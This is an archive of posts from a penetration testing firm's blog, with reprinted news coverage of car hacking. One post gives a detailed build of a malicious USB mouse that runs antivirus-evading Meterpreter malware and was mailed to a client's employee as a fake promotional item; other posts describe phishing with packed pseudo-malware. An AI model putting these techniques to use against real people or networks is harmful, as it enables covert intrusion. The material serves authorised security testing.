Netragard's SNOsoft Research Team

Netragard’s Badge of Honor (Thank you McAfee)

2011-11-15T15:20:00.001-08:00

Here at Netragard We Protect You From People Like Us™ and we mean it. We don’t just run automated scans, massage the output, and draft you a report that makes you feel good. That's what many companies do. Instead, we "hack" you with a methodology that is driven by hands on research, designed to create realistic and elevated levels of threat. Don’t take our word for it though; McAfee has helped us prove it to the world.

Through their Threat Intelligence service, McAfee Labs listed Netragard as a “High Risk” due to the level of threat that we produced during a recent engagement. Specifically, we were using a beta variant of our custom Meterbreter malware (not to be confused with Metasploit’s Meterpreter) during an Advanced Penetration Testing engagement. The beta malware was identified and submitted to McAfee via our customers Incident Response process. The result was that McAfee listed Netragard as a “High Risk”, which caught our attention (and our customers attention) pretty quickly.

: Badge of Honor

McAfee was absolutely right; we are “High Risk”, or more appropriately, "High Threat", which in our opinion is critically important when delivering quality Penetration Testing services. After all, the purpose of a Penetration Test (with regards to I.T security) is to identify the presence of points where a real threat can make its way into or through your IT Infrastructure. Testing at less than realistic levels of threat is akin to testing a bulletproof vest with a squirt gun.

Netragard uses a methodology that’s been dubbed Real Time Dynamic Testing™ ("RTDT"). Real Time Dynamic Testing™ is a research driven methodology specifically designed to test the Physical, Electronic (networked and standalone) and Social attack surfaces at a level of threat that is slightly greater than what is likely to be faced in the real world. Real Time Dynamic Testing™ requires that our Penetration Testers be capable of reverse engineering, writing custom exploits, building and modifying malware, etc. In fact, the first rendition of our Meterbreter was created as a product of of this methodology.

Another important aspect of Real Time Dynamic Testing™ is the targeting of attack surfaces individually or in tandem. The “Netragard’s Hacker Interface Device” article is an example of how Real Time Dynamic Testing™ was used to combine Social, Physical and Electronic attacks to achieve compromise against a hardened target. Another article titled “Facebook from the hackers perspective” provides an example of socially augmented electronic attacks driven by our methodology.

It is important that we thank McAfee for two reasons. First we thank McAfee for responding to our request to be removed from the “High Risk” list so quickly because it was preventing our customers from being able to access our servers. Second and possibly more important, we thank McAfee for putting us on their “High Risk” list in the first place. The mere fact that we were perceived as a “High Risk” by McAfee means that we are doing our job right.

Netragard's Hacker Interface Device (HID)

2011-06-24T09:51:00.001-07:00

We (Netragard) recently completed an engagement for a client with a rather restricted scope. The scope included a single IP address bound to a firewall that offered no services what so ever. It also excluded the use of social attack vectors based on social networks, telephone, or email and disallowed any physical access to the campus and surrounding areas. With all of these limitations in place, we were tasked with penetrating into the network from the perspective of a remote threat, and succeeded.

The first method of attack that people might think of when faced with a challenge like this is the use of the traditional autorun malware on a USB stick. Just mail a bunch of sticks to different people within the target company and wait for someone to plug it in; when they do its game over,they’re infected. That trick worked great back in the day but not so much any more. The first issue is that most people are well aware of the USB stick threat due to the many publishedarticles about the subject. The second is that more and more companies are pushing out group policies that disable the autorun feature in Windows systems. Those two things don’t eliminate the USB stick threat, but they certainly have a significant impact on its level of success and we wanted something more reliable.

Enter PRION, the evil HID.

A prion is an infectious agent composed of a protein in a misfolded form. In our case the prion isn’t composed of proteins but instead is composed of electronics which include a teensy microcontroller, a micro USB hub (small one from RadioShack), a mini USB cable (we needed the ends) a micro flash drive (made from one of our Netragard USB Streamers), some home-grown malware (certainly not designed to be destructive), and a USB device like a mouse, missile turret, dancing stripper, chameleon, or whatever else someone might be tempted to plug in. When they do plug it in, they will be infected by our custom malware and we will use that point of infection to compromise the rest of the network.

For the purposes of this engagement we choose to use a fancy USB logitech mouse as our Hacker Interface Device / Attack Platform. To turn our logitech Human Interface Device into a Hacker Interface Device, we had to make some modifications. The first step of course was to remove the screw from the bottom of the mouse and pop it open. Once we did that we disconnected the USB cable from the circuit board in the mouse and put that to the side. Then we proceed to use a drummel tool to shave away the extra plastic on the inside cover of the mouse. (There were all sorts of tabs that we could sacrifice). The removal of the plastic tabs was to make room for the new hardware.

Once the top of the mouse was gutted and all the unnecessary parts removed we began to focus on the USB hub. The first thing we had to do was to extract the board from the hub. Doing that is a lot harder than it sounds because the hub that we chose was glued together and we didn’t want to risk breaking the internals by being too rough. After about 15 minutes of prying with a small screwdriver (and repeated accidental hand stabbing) we were able to pull the board out from the plastic housing. We then proceeded to strip the female USB connectors off of the board by heating their respective pins to melt the solder (careful not to burn the board). Once those were extracted we were left with a naked USB hub circuit board that measured about half an inch long and was no wider than a small bic lighter.

With the mouse and the USB board prepared we began the process of soldering. The first thing that we did was to take the mini USB cable, cut one of the ends off leaving about 1 inch of wire near the connector. Then we stripped all plastic off of the connector and stripped a small amount of wire from the 4 internal wires. We soldered those four wires to the USB board making sure to follow theright pinout pattern. This is the cable that will plug into the teensy mini USB port when we insert the teensy microcontroller.

Once that was finished we took the USB cable that came with the mouse and cut the circuit board connector off of the end leaving 2 inchs of wire attached. We stripped the tips of the 4 wires still attached to the connector and soldered those to the USB hub making sure to follow the right pinout patterns mentioned above. This is an important cable as its the one that connects the USB hub to the mouse. If this cable is not soldered properly and the connections fail, then the mouse will not work. We then took the other piece of the mouse cable (the longer part) and soldered that to the USB board. This is the cable that will connect the mouse to the USB port on the computer.

At this point we have three cables soldered to the USB hub. Just to recap those cables are the mouse connector cable, the cable that goes from the mouse to the computer, and the mini USB adapter cable for the teensy device. The next and most challenging part of this is to solder the USB flash drive to the USB hub. This is important because the USB flash drive is where we store our malware. If the drive isn’t soldered on properly then we won’t be able to store our malware on the drive and the the attack would be mostly moot. ( We say mostly because we could still instruct the mouse to fetch the malware from a website, but that’s not covert.)

To solder the flash drive to the USB hub we cut about 2 inches of cable from the mini USB connector that we stole the end from previously. We stripped the ends of the wires in the cable and carefully soldered the ends to the correct points on the flash drive. Once that was done we soldered the other ends of the cable to the USB hub. At that point we had everything soldered together and had to fit it all back into the mouse. Assembly was pretty easy because we were careful to use as little material as possible while still giving us the flexibility that we needed. We wrapped the boards and wires in single layers of electrical tape as to avoid any shorts. Once everything was we plugged in we tested the devices. The USB drive mounted, the teensy card was programmable, and the mouse worked.

Time to give prion the ability to infect…

We learned that the client was using Mcafee as their antivirus solution because one of their employees was complaining about it on Facebook. Remember, we weren’t allowed to use social networks for social engineering but we certainly were allowed to do reconnaissance against social networks. With Mcafee in our sights we set out to create custom malware for the client (as we do for any client and their respective antivirus solution when needed). We wanted our malware to be able to connect back to Metasploit because we love the functionality, we also wanted the capabilities provided by meterpreter, but we needed more than that. We needed our malware to be fully undetectable and to subvert the “Do you want to allow this connection” dialogue box entirely. You can’t do that with encoding…

To make this happen we created a meterpreter C array with the windows/meterpreter/reverse_tcp_dns payload. We then took that C array, chopped it up and injected it into our own wrapper of sorts. The wrapper used an undocumented (0-day) technique to completely subvert the dialogue box and to evade detection by Mcafee. When we ran our tests on a machine running Mcafee, the malware ran without a hitch. We should point out that our ability to evade Mcafee isn’t any indication of quality and that we can evade any Antivirus solution using similar custom attack methodologies. After all, its impossible to detect something if you don’t know what it is that you are looking for (It also helps to have a team of researchers at our disposal).

Once we had our malware built we loaded it onto the flash drive that we soldered into our mouse. Then we wrote some code for the teensy microcontroller to launch the malware 60 seconds after the start of user activity. Much of the code was taken from Adrian Crenshaw’s website who deserves credit for giving us this idea in the first place. After a little bit of debugging, our evil mouse named prion was working flawlessly.

Usage: Plug mouse into computer, get pwned.

The last and final step here was to ship the mouse to our customer. One of the most important aspects of this was to repack the mouse in its original package so that it appeared unopened. Then we used Jigsaw to purchase a list of our client’s employes. We did a bit of reconnaissance on each employee and found a target that looked ideal. We packaged the mouse and made it look like a promotional gadget, added fake marketing flyers, etc. then shipped the mouse. Sure enough, three days later the mouse called home.

Netragard Signage Snatching

2011-02-25T11:40:00.001-08:00

Recently Netragard has had a few discussions with owners and operators of sports arenas, with the purpose of identifying methods in which a malicious hacker could potentially disrupt a sporting event, concert, or other large scale and highly visible event.

During the course of the these conversations, the topic of discussion shifted from network exploitation to social engineering, with a focus on compromise of the digital signage systems. Until recently, even I hadn’t thought about how extensively network controlled signage systems are used in facilities like casinos, sports arenas, airports, and roadside billboards. That is, until our most recent casino project.

Netragard recently completed a Network Penetration Test and Social Engineering Test for a large west coast casino, with spectacular results. Not only were our engineers able to gain the keys to the kingdom, they were also able to gain access to the systems that had supervisory control for every single digital sign in the facility. Some people may think to themselves, “ok, what’s the big deal with that?”. The answer is simple: Customer perception and corporate image.

Before I continue on, let me provide some background; Early in 2008, there were two incidents in California where two on-highway digital billboards were compromised, and their displays changed from the intended display. While both of these incidents were small pranks in comparison to what they could have done, the effect was remembered by those who drove by and saw the signs. (Example A, Example B)

Another recent billboard hack in Moscow, Russia, wasn’t as polite as the pranksters in California. A hacker was able to gain control of a billboard in downtown Moscow (worth noting, Moscow is the 7th largest city in the world), and after subsequently gaining access, looped a video clip of pornographic material. (Example C) Imagine if this was a sports organization, and this happened during a major game.

Brining this post back on track, let’s refocus on the casino and the potential impact of signage compromise. After spending time in the signage control server, we determined that there were over 40 unique displays available to control, some of which were over 100″ in display size. WIth customer permission, we placed a unique image on a small sign for proof of concept purposes (go google “stallowned”). This test, coupled with an impact audit, clearly highlighted to the casino that ensuring the security of their signage systems was nearly as paramount to securing their security systems, cage systems, and domain controllers. All the domain security in the world means little to a customer if they’re presented with disruptive material on the signage during their visit to the casino. A compromise of this nature could cause significant loss or revenue, and cause a customer to never re-visit the casino.

I also thought it pertinent for the purpose of this post to share another customer engagement story. This story highlights how physical security can be compromised by a combination of social engineering and network exploitation, thus opening an additional risk vector that could allow for compromise of the local network running the digital display systems.

Netragard was engaged by a large bio-sciences company in late 2010 to assess the network and physical security of multiple locations belonging to a business unit that was a new acquisition. During the course of this engagement, Netragard was able to take complete control of their network infrastructure remotely, as is the case in most of our engagements. More so, our engineers were able to utilize the social engineering skills and “convince” the physical site staff to grant them building access. Once passing this first layer of physical access, by combining social and network exploitation, they were subsequently able to gain access to sensitive labs and document storage rooms. These facilities/rooms were key to the organizations intellectual property, and on-going research. Had our engineers been hired by a competing company or other entity, there would have been a 100% chance that the IP (research data, trials data, and so forth) could have been spirited off company property and into hands unknown.

By combining network exploitation and social engineering, we’ve postulated to the sports arena operators that Netragard has a high probability of gaining access to the control systems for their digital signage. Inevitably, during these discussions the organizations push back stating that their facilities have trained security staff and access control systems. To that we inform them that the majority of sports facilities staff are more attuned to illicit access attempts in controlled areas, but only during certain periods of operation, such as active games, concerts, and other large scale events. During non-public usage hours though, there’s a high probability that a skilled individual could gain entry to access controlled areas during a private event, or through beach of trust, such as posing as a repair technician, emergency services employee, or even a facility employee.

One area of concern for any organization, whether they be a football organization, Fortune 100 company, or a mid-size business, is breach of trust with their consumer base. For a major sports organization, the level of national exposure and endearment far exceeds the exposure most Netragard customers have to the public. Because of this extremely high national exposure, a sports organization and its arena are a prime target for those who may consider highly visible public disruption of games a key tool in furthering an socio-political agenda. We’re hopeful that these organizations will continue to take a more serious stance to ensure that their systems and public image are as protected as possible.

Quality Penetration Testing by Netragard

2011-02-22T19:43:00.001-08:00

The purpose of Penetration Testing is to identify the presence of points where an external entity can make its way into or through a protected entity. Penetration Testing is not unique to IT security and is used across a wide variety of different industries. For example, Penetration Tests are used to assess the effectiveness of body armor. This is done by exposing the armor to different munitions that represent the real threat. If a projectile penetrates the armor then the armor is revised and improved upon until it can endure the threat.

Network Penetration Testing is a class of Penetration Testing that applies to Information Technology. The purpose of Network Penetration Testing is to identify the presence of points where a threat (defined by the hacker) can align with existing risks to achieve penetration. The accurate identification of these points allows for remediation.

Successful penetration by a malicious hacker can result in the compromise of data with respect to Confidentiality, Integrity and Availability (“CIA”). In order to ensure that a Network Penetration Test provides an accurate measure of risk (risk = probability x impact) the test must be delivered at a threat level that is slightly elevated from that which is likely to be faced in the real world. Testing at a lower than realistic threat level would be akin to testing a bulletproof vest with a squirt gun.

Threat levels can be adjusted by adding or removing attack classes. These attack classes are organized under three top-level categories, which are Network Attacks, Social Attacks, and Physical Attacks. Each of the top-level categories can operate in a standalone configuration or can be used to augment the other. For example, Network Penetration Testing with Social Engineering creates a significantly higher level of threat than just Network Penetration Testing or Social Engineering alone. Each of the top-level threat categories contains numerous individual attacks.

A well-designed Network Penetration Testing engagement should employ the same attack classes as a real threat. This ensures that testing is realistic which helps to ensure effectiveness. All networked entities face threats that include Network and Social attack classes. Despite this fact, most Network Penetration Tests entirely overlook the Social attack class and thus test at radically reduced threat levels. Testing at reduced threat levels defeats the purpose of testing by failing to identify the same level of risks that would likely be identified by the real threat. The level of threat that is produced by a Network Penetration Testing team is one of the primary measures of service quality.

Netragard Challenges your PCI Compliance

2011-01-25T17:23:00.001-08:00

The purpose of legitimate Network Penetration Testing is to positively identify risks in a targeted IT Infrastructure before those risks are identified and exploited by malicious hackers. This enables the IT managers to remediate against those risks before they become an issue. To accomplish this the Penetration Test must be driven by people with at least the same degree of skill and persistence as the threat (defined by the malicious hacker). If the Penetration Test is delivered with a skill set that is less than that of the real threat then the test will likely be ineffective. This would be akin to testing the effectiveness a bullet-proof vest with a squirt gun.

Unfortunately most penetration tests don’t test at realistic threat levels. This is especially true with regards to PCI based penetration tests. Most PCI based penetration testing companies do the bare minimum required to satisfy PCI requirement 11.3. This is problematic because it results in businesses passing their PCI penetration tests when they should have failed and it promotes a false sense of security. The truth is that most businesses that pass their annual PCI audits are still relatively easy to hack. If you don’t believe us then let us prove it and hire us (Netragard) to deliver a conditional penetration test. If we can’t penetrate your network using our unrestricted, advanced methodology then the next test is free. (Challenge ends March, 31st 2011).

Netragard: Connect to Chaos

2011-01-16T17:07:00.001-08:00

The Chevy Volt will be the first car of its type: not because it is a hybrid electric/petrol vehicle, but because GM plans to give each one the company sells its own IP address. The Volt will have no less than 100 microcontrollers running its systems from some 10 million lines of code. This makes some hackers very excited and Adriel Desautels, president of security analysis firmNetragard, very worried. Before now, you needed physical access to reprogram the software inside a car: an ‘air gap’ protected vehicles from remote tampering. The Volt will have no such physical defence. Without some kind of electronic protection, Desautels sees cars such as the Volt and its likely competitors becoming ‘hugely vulnerable 5000lb pieces of metal’.

Desautels adds: “We are taking systems that were not meant to be exposed to the threats that my team produces and plug it into the internet. Some 14 year old kid will be able to attack your car while you’re driving.

…

The full article can be found here.

Pentesting IPv6 vs IPv4

2011-01-14T20:44:00.001-08:00

We’ve heard a bit of “noise” about how IPv6 may impact network penetration testing and how networks may or may not be more secure because of IPv6. Lets be clear, anyone telling you that IPv6 makes penetration testing harder doesn’t understand the first thing about real penetration testing.

Whats the point of IPv6?

IPv6 was designed by the Internet Engineering Task Force (“IETF”) to address the issue of IPv4 address space exhaustion. IPv6 uses a 128-bit address space while IPv4 is only 32 bits. This means that there are 2¹²⁸possible addresses with IPv6, which is far more than the 2³²addresses available with IPv4. This means that there are going to be many more potential targets for a penetration tester to focus on when IPv6 becomes the norm.

What about increased security with IPv6?

The IPv6 specification mandates support for the Internet Protocol Security (“IPSec”) protocol suite, which is designed to secure IP communications by authenticating and encrypting each IP Packet. IPSec operates at the Internet Layer of the Internet Protocol suite and so differs from other security systems like the Secure Socket Layer, which operates at the application layer. This is the only significant security enhancement that IPv6 brings to the table and even this has little to no impact on penetration testing.

What some penetration testers are saying about IPv6.

Some penetration testers argue that IPv6 will make the job of a penetration testing more difficult because of the massive increase in potential targets. They claim that the massive increase in potential targets will make the process of discovering live targets impossibly time consuming. They argue that scanning each port/host in an entire IPv6 range could take as long as 13,800,523,054,961,500,000 years. But why the hell would anyone waste their time testing potential targets when they could be testing actual live targets?

The very first step in any penetration test is effective and efficient reconnaissance. Reconnaissance is the military term for the passive gathering of intelligence about an enemy prior to attacking an enemy. There are countless ways to perform reconnaissance, all of which must be adapted to the particular engagement. Failure to adapt will result bad intelligence as no two targets are exactly identical.

A small component of reconnaissance is target identification. Target identification may or may not be done with scanning depending on the nature of the penetration test. Specifically, it is impossible to deliver a true stealth / covert penetration test with automated scanners. Likewise it is very difficult to use a scanner to accuratley identify targets in a network that is protected by reactive security systems (like a well configured IPS that supports black-listing). So in some/many cases doing discovery by scanning an entire block of addresses is ineffective.

A few common methods for target identification include Social Engineering, DNS enumeration, or maybe something as simple as asking the client to provide you with a list of targets. Not so common methods involve more aggressive social reconnaissance, continued reconnaissance after initial penetration, etc. Either way, it will not take 13,800,523,054,961,500,000 years to identify all of the live and accessible targets in an IPv6 network if you know what you are doing.

Additionally, penetration testing against 12 targets in an IPv6 network will take the same amount of time as testing 12 targets in an IPv4 network. The number of real targets is what is important and not the number of potential targets. It would be a ridiculous waste of time to test 2¹²⁸IPv6 Addresses when only 12 IP addresses are live. Not to mention that increase in time would likely translate to an increase in project cost.

So in reality, for those who are interested, hacking an IPv6 network won’t be any more or less difficult than hacking an IPv4 network. Anyone that argues otherwise either doesn’t know what they are doing or they are looking to charge you more money for roughly the same amount of work.

Hacking your car for fun and profit.

2011-01-07T16:05:00.001-08:00

Our CEO (Adriel Desautels) recently spoke at the Green Hills Software Elite Users Technology Summit regarding automotive hacking. During his presentation there were a series of reporters taking photographs, recording audio, etc. Of all of the articles that came out, one in particular caught our eye. We made the front page of “Elektronik iNorden” which is a Swiss technology magazine that focuses on hardware and embedded systems. You can see the full article here but you’ll probably want to translate:

http://www.webbkampanj.com/ein/1011/?page=1&mode=50&noConflict=1

What really surprised us during the presentation was how many people were in disbelief about the level of risk associated with cars built after 2007. For example, it really isn’t all that hard to program a car to kill the driver. In fact, its far too easy due to the overall lack of security cars today.

Think of a car as an IT Infrastructure. All of the servers in the infrastructure are critical systems that control things like breaks, seat belts, door locks, engine timing, airbags, lights, the radio, the dashboard display, etc. Instead of these systems being plugged into a switched network they are plugged into a hub network lacking any segmentation with no security to speak of. The only real difference between the car network and your business network is that the car doesn’t have an internet connection.

Enter the Chevrolet Volt, the first car to have its own IP address. Granted we don’t yet know how the Volt’s IP address will be protected. We don’t know if each car will have a public IP address or if the cars will be connected to a private network controlled by Chevy (or someone else). What we do know is that the car will be able to reach out to the internet and so it will be vulnerable to client side attacks.

So what happens if someone is able to attack the car?

Realistically if someone is able to hack into the car then they will be able to take full control over almost any component of the car. They can do anything from apply the breaks, accelerate the car, prevent the brakes from applying, kill (literally destroy) the engine, apply the breaks to one side of the car, lock the doors, pretension the seat belts, etc. For those of you that think this is Science Fiction, it isn’t. Here’s one of many research papers that demonstrates the risks.

Why is this possible?

This is possible because people adopt technology too quickly and don’t stop to think about the risks but instead are blinded by the continence that it introduces. We see this in all industries not just automotive. IT managers, CIO’s, CSO’s, CEO’s, etc. are always purchasing and deploying new technologies without really evaluating the risks. In fact just recently we had a client purchase a “secure email gateway” technology… it wasn’t too secure. We were able to hack it and access every email on the system because it relied on outdated third party software.

Certainly another component that adds to this is that most software developers write vulnerable and buggy code (sorry guys but its true). Their code isn’t written to be secure, its written to do a specific thing like handle network traffic, beep your horn, send emails, whatever. Poor code + a lack of security awareness == high risks.

So what can you do ?

Before you decide to adopt new technology make sure that you understand the benefits and the risks associated with the adoption. If you’re not technical enough (most people aren’t) to do a low-level security evaluation then hire someone (a security researcher) to do it for you. If you don’t then you could very well be putting yourselves and your customers at serious risk.

Untitled

2010-12-02T13:57:00.001-08:00

I recently participated in a panel at the BASC conference that was held at the Microsoft New England Research & Development (NERD) building at One Memorial Drive in Cambridge. One of the questions that surfaced inspired me to write this article.

While there are more security solutions available today than ever before, are we actually becoming more secure or is the gap growing? The short answer is yes. The security industry is reactive in that it can only respond to threats but it cannot predict them. This is because of threats are defined by malicious hackers and technology savvy criminals and not the security industry. Antivirus technology for example, was created as a response to viruses that were being written by hackers. So yes, security is getting better, technologies are advancing, and the gap is still growing rapidly. One major part of the problem is that people adopt new technologies too quickly. They don’t stop to question those technologies from the perspective a hacker…

A prime example of this problem is clearly demonstrated within the automotive industry. Computer systems that are in automobiles were not designed to withstand any sort of real hacker threat. This wasn’t much of a problem at first because automotive computer systems weren’t Internet connected and at first they didn’t have direct control over things like breaks and the accelerator. That all changed as the automotive industry advanced and as people wanted the convenience that computer technology could bring to the table. Now automotive computer systems directly control critical automotive functions and a hacker can interface with the computer system and cause potentially catastrophic failures. Despite this the problem wasn’t perceived as particularly high risk because accessing the computer system required physical access to the car (or close proximity for TPMS like hacks). That is all going to change when the Chevy Volt hits the streets since the Chevy Volt actually has its own IP address and is network connected. Is the risk really worth the convenience?

Another good example of how we adopt technology too quickly is demonstrated in critical infrastructure (power, water, communications, etc). Just like the automotive industry critical systems were not initially designed to be plugged into the Internet. These critical systems are the systems that control the water coolant levels in our nuclear power plants or the mixtures of chemicals in water treatment plants, etc. Some of these critical systems were designed in the 1960’s so the concept of the “hacker threat” didn’t exist. Other systems are very modern but even those aren’t designed to be secure as much as they are designed to be functional. Back in the day power plants, water treatment plants, etc. were air-gaped to isolate them from potentially harmful environments. But as the Internet offered more and more convenience the air-gaps that once existed are almost extinct. Now our critical systems connected to the Internet and exposed to real hacker threats; and do they get hacked? Yes. Again, is the risk really worth the convenience?

Of course an example that everyone can relate to is business networks. Business networks are constantly evolving and new technologies are continually being adopted without proper vetting. These technologies often include web applications, security technologies, backup technologies, content management systems, etc. These technologies usually promise to make things easier and thus save time which equates to saving money. For example, the other week we were delivering a penetration test for a pharmaceutical company. This company had a video conference system setup so that they could speak with remote offices and have “face to face” conversations. They loved the technology because it made for more productive meetings and we loved the technology because it was easy to hack.

Despite the fact that the security industry is evolving at a rapid pace, it can’t keep up with the volume of people that are prematurley adopting new and untested technologies. This adoption causes the gap between good security and security risks to grow. To help close the gap consumers need to start challenging their vendors. They need to ask their vendors to demonstrate the security of their technology and maybe even to make some sort of a guarantee about it. There are some solid companies out there that offer services designed to enhance the security of technology products. Once such company is Veracode (no affiliation with Netragard).

Fox 25 News Interview

2010-11-11T20:59:00.001-08:00

Our (Netragard's) founder and president (Adriel Desautels) was recently interviewed by the local news (Fox 25) about car hacking. We thought that we'd write a quick entry and share this with you. Thank you to Fox 25 for doing such a good job with the interview. Note for the AAA guy though, once cars have IP addresses (which is now) hackers won't need to "pull up next to you to hack [your car]" and turning the car off is the least of the problems. Hackers will be able to do it from their location of choice and trust us when we say that "firewalls" don't pose much of a challenge at all. Anyway, enjoy the video and please feel free to comment.

http://www.myfoxboston.com/dpp/news/special_reports/could-your-car-be-a-hackers-target-20101111

The Human Vulnerability

2010-09-13T23:08:00.001-07:00

It seems to us that one of the biggest threats that businesses face today is socially augmented malware attacks. These attacks have an extremely high degree of success because they target and exploit the human element. Specifically, it doesn't matter how many protective technology layers you have in place if the people that you've hired are putting you at risk, and they are.

Case in point, the “here you have” worm that propagates predominantly via e-mail and promises the recipient access to PDF documents or even pornographic material. This specific worm compromised major organizations such as NASA, ABC/Disney, Comcast, Google Coca-Cola, etc. How much money do you think that those companies spend on security technology over a one-year period? How much good did it do at protecting them from the risks introduced by the human element? (Hint: none)

Here at Netragard we have a unique perspective on the issue of malware attacks because we offer pseudo-malware testing services. Our pseudo-malware module, when activated, authorizes us to test our clients with highly customized, safe, controlled, and homegrown pseudo-malware variants. To the best of our knowledge we are the only penetration testing company to offer such a service (and no, we're not talking about the meterpreter).

Attack delivery usually involves attaching our pseudo-malware to emails or binding the pseudo-malware to PDF documents or other similar file types. In all cases we make it a point to pack (or crypt) our pseudo-malware so that it doesn't get detected by antivirus technology (see this blog entry on bypassing antivirus). Once the malware is activated, it establishes an encrypted connection back to our offices and provides us with full control over the victim computer. Full control means access to the software and hardware including but not limited to keyboard, mouse, microphone and even the camera. (Sometimes we even deliver our attacks via websites like this one by embedding attacks into links).

So how easy is it to penetrate a business using pseudo-malware? Well in truth its really easy. Just last month we finished delivering an advanced external penetration test for one of our more secure customers. We began crafting an email that contained our pseudo-malware attachment and accidentally hit the send button without any message content. Within 45 seconds of clicking the send button and sending our otherwise blank email, we had 15 inbound connections from 15 newly infected client computer systems. That means that at least 15 employees tried to open our pseudo-malware attachment despite the fact that the email was blank! Imagine the degree of success that is possible with a well-crafted email?

One of the computer systems that we were able to compromise was running a service with domain admin privileges. We were able to use that computer system (impersonation attack involved) to create an account for ourselves on the domain (which happened to be the root domain). From there we were able to compromise the client's core infrastructure (switches, firewalls, etc) due to a password file that we found sitting on someone's desktop (thank you for that). Once that was done, there really wasn't much more that we had left to do, it was game over.

The fact of the matter is that there's nothing new about taking advantage of people that are willing to do stupid things. But is it really stupidity or is it just that employees don't have a sense of accountability? Our experience tells us that in most cases its a lack of accountability that's the culprit.

When we compromise a customer using pseudo-malware, one of the recommendations that we make to them is that they enforce policies by holding employees accountable for violations. We think that the best way to do that is to require employees to read a well-crafted policy and then to take a quiz based on that policy. When they pass the quiz they should be required to sign a simple agreement that states that they have read the policy, understood the policy, and agree to be held accountable for any violations that they make against the policy.

In our experience there is no better security technology than a paranoid human that is afraid of being held accountable for doing anything irresponsible (aka: violating the policy). When people are held accountable for something like security they tend to change their overall attitude towards anything that might negatively affect it. The result is a significantly reduced attack surface. If all organizations took this strict approach to policy enforcement then worms like the "here you have" worm wouldn't be such a big success.

Compare the cost and benefit of enforcing a strict and carefully designed security policy to the cost and benefit of expensive (and largely ineffective) security technologies. Which do you think will do a better job at protecting your business from real threats? Its much more difficult to hack a network when that network is managed by people that are held accountable for its security than it is to hack a network that is protected technology alone.

So in the end there's really nothing special about the "here you have" worm. It’s just another example of how malicious hackers are exploiting the same human vulnerability using an ever so slightly different malware variant. Antivirus technology certainly won’t save you and neither will other expensive technology solutions, but a well-crafted, cost-effective security policy just might do the trick.

It’s important to remember that well written security policies don’t only impact human behavior, but generally result in better management of systems, which translates to better technological security. The benefits are significant and the overall cost isn’t in comparison.

That nice, new computerized car you just bought could be hackable

2010-08-31T12:46:00.001-07:00

Link: http://news.cnet.com/8301-27080_3-20015184-245.html

Of course, your car is probably not a high-priority target for most malicious hackers. But security experts tell CNET that car hacking is starting to move from the realm of the theoretical to reality, thanks to new wireless technologies and evermore dependence on computers to make cars safer, more energy efficient, and modern.

"Now there are computerized systems and they have control over critical components of cars like gas, brakes, etc.," said Adriel Desautels, chief technology officer and president of Netragard, which does vulnerability assessments and penetration testing on all kinds of systems. "There is a premature reliance on technology."

Illustration for a tire pressure monitoring system, with four antennas, from a report detailing how researchers were able to hack the wireless system.

(Credit: University of South Carolina, Rutgers University (PDF))

Often the innovations are designed to improve the safety of the cars. For instance, after a recall of Firestone tires that were failing in Fords in 2000, Congress passed the TREAD (Transportation Recall Enhancement, Accountability and Documentation) Act that required that tire pressure monitoring systems (TPMS) be installed in new cars to alert drivers if a tire is underinflated.

Wireless tire pressure monitoring systems, which also were touted as a way to increase fuel economy, communicate via a radio frequency transmitter to a tire pressure control unit that sends commands to the central car computer over the Controller-Area Network (CAN). The CAN bus, which allows electronics to communicate with each other via the On-Board Diagnostics systems (OBD-II), is then able to trigger a warning message on the vehicle dashboard.

Researchers at the University of South Carolina and Rutgers University tested two tire pressure monitoring systems and found the security to be lacking. They were able to turn the low-tire-pressure warning lights on and off from another car traveling at highway speeds from 40 meters (120 feet) away and using low-cost equipment.

"While spoofing low-tire-pressure readings does not appear to be critical at first, it will lead to a dashboard warning and will likely cause the driver to pull over and inspect the tire," said the report (PDF). "This presents ample opportunities for mischief and criminal activities, if past experience is any indication."

"TPMS is a major safety system on cars. It's required by law, but it's insecure," said Travis Taylor, one of the researchers who worked on the report. "This can be a problem when considering other wireless systems added to cars. What does that mean about future systems?"

The researchers do not intend to be alarmist; they're merely trying to figure out what the security holes are and to alert the industry to them so they can be fixed, said Wenyuan Xu, another researcher on the project. "We are trying to raise awareness before things get really serious," she said.

Another report in May highlighted other risks with the increased use of computers coordinated via internal car networks. Researchers from the University of Washington and University of California, San Diego, tested how easy it would be to compromise a system by connecting a laptop to the onboard diagnostics port that they then wirelessly controlled via a second laptop in another car. Thus, they were able to remotely lock the brakes and the engine, change the speedometer display, as well as turn on the radio and the heat and honk the horn.

Granted, the researchers needed to have physical access to the inside of the car to accomplish the attack. Although that minimizes the likelihood of an attack, it's not unthinkable to imagine someone getting access to a car dropped off at the mechanic or parking valet.

"The attack surface for modern automobiles is growing swiftly as more sophisticated services and communications features are incorporated into vehicles," that report (PDF) said. "In the United States, the federally-mandated On-Board Diagnostics port, under the dash in virtually all modern vehicles, provides direct and standard access to internal automotive networks. User-upgradable subsystems such as audio players are routinely attached to these same internal networks, as are a variety of short-range wireless devices (Bluetooth, wireless tire pressure sensors, etc.)."

Engine Control Units
The ubiquitous Engine Control Units themselves started arriving in cars in the late 1970s as a result of the California Clean Air Act and initially were designed to boost fuel efficiency and reduce pollution by adjusting the fuel and oxygen mixture before combustion, the paper said. "Since then, such systems have been integrated into virtually every aspect of a car's functioning and diagnostics, including the throttle, transmission, brakes, passenger climate and lighting controls, external lights, entertainment, and so on," the report said.

It's not just that there are so many embedded computers, it's that safety critical systems are not isolated from non-safety critical systems, such as entertainment systems, but are "bridged" together to enable "subtle" interactions, according to the report. In addition, automakers are linking Engine Control Units with outside networks like global positioning systems. GM's OnStar system, for example, can detect problems with systems in the car and warn drivers, place emergency calls, and even allow OnStar personnel to r emotely unlock cars or stop them, the report said.

In an article entitled "Smart Phone + Car = Stupid?" on the EETimes site in late July, Dave Kleidermacher noted that GM is adding smartphone connectivity to most of its 2011 cars via OnStar. "For the first time, engines can now be started and doors locked by ordinary consumers, from anywhere on the planet with a cell signal," he wrote.

Car manufacturers need to design the systems with security in mind, said Kleidermacher, who is chief technology officer at Green Hills Software, which builds operating system software that goes into cars and other embedded systems.

"You can not retrofit high-level security to a system that wasn't designed for it," he told CNET. "People are building this sophisticated software into cars and not designing security in it from the ground up, and that's a recipe for disaster."

Representatives from GM OnStar were not available for comment late last week or this week, a spokesman said.

"Technology in cars is not designed to be secure because there's no perceived threat. They don't think someone is going to hack a car like they're going to hack a bank," said Desautels of Netragard. "For the interim, network security in cars won't be a primary concern for manufacturers. But once they get connected to the Internet and have IP addresses, I think they'll be targeted just for fun."

